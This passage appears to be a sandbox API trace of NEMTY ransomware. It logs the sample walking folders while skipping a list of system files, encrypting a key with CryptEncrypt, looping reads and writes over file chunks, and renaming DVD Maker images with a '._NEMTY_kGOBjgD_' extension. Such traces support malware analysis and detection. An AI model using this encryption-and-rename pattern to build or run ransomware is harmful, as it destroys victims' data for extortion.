(HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0081.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0081.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0081.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.030] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0081.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.031] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0081.031] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0081.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0081.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0081.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0081.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0081.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0081.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0081.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0081.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0081.032] Sleep (dwMilliseconds=0x5) [0081.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3f34bd0, dwHighDateTime=0x1d561e7)) [0081.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3f34bd0, dwHighDateTime=0x1d561e7)) [0081.040] GetLastError () returned 0x5 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.040] GetLastError () returned 0x5 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.040] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0081.040] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0081.040] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0081.040] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="bfmtJfXiYAgfM0CMVToobULaY4fSQtIuHTIXQBgvWsV8ImuxIzhNOU0pGcg+Ey49\r\nYuVLETUSOf1DORdCFy6XfHq6a4NkePbEXO8AkzM/apYgW+Mjhw2euPNvNoK6sNg4\r\n39IKvfYQ85CxIgfe+EoDpEHFdkhAGeYIXfIqgdoeYRG8er2VIRPbKzc7J9SQMybT\r\nYW8mbjBPvAeJNSZG67l5vfVWXpVAvWhQPaA8pEYTTTRnxvsCZS/abiMJzwuwqVOv\r\ngBqwSDHZXWQ8h0glNogKszRQBvG/oYxd+VBe+zimw39JC8vg9ehNdc6HffjWhn/p\r\nWkXWY2l8D5C6Zyt9jDb6ug==\r\n", pcchString=0x653e91c) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0081.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0081.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.040] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.041] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0081.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.148] CloseHandle (hObject=0xffffffff) returned 0 [0081.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0081.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0081.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.149] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0081.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: 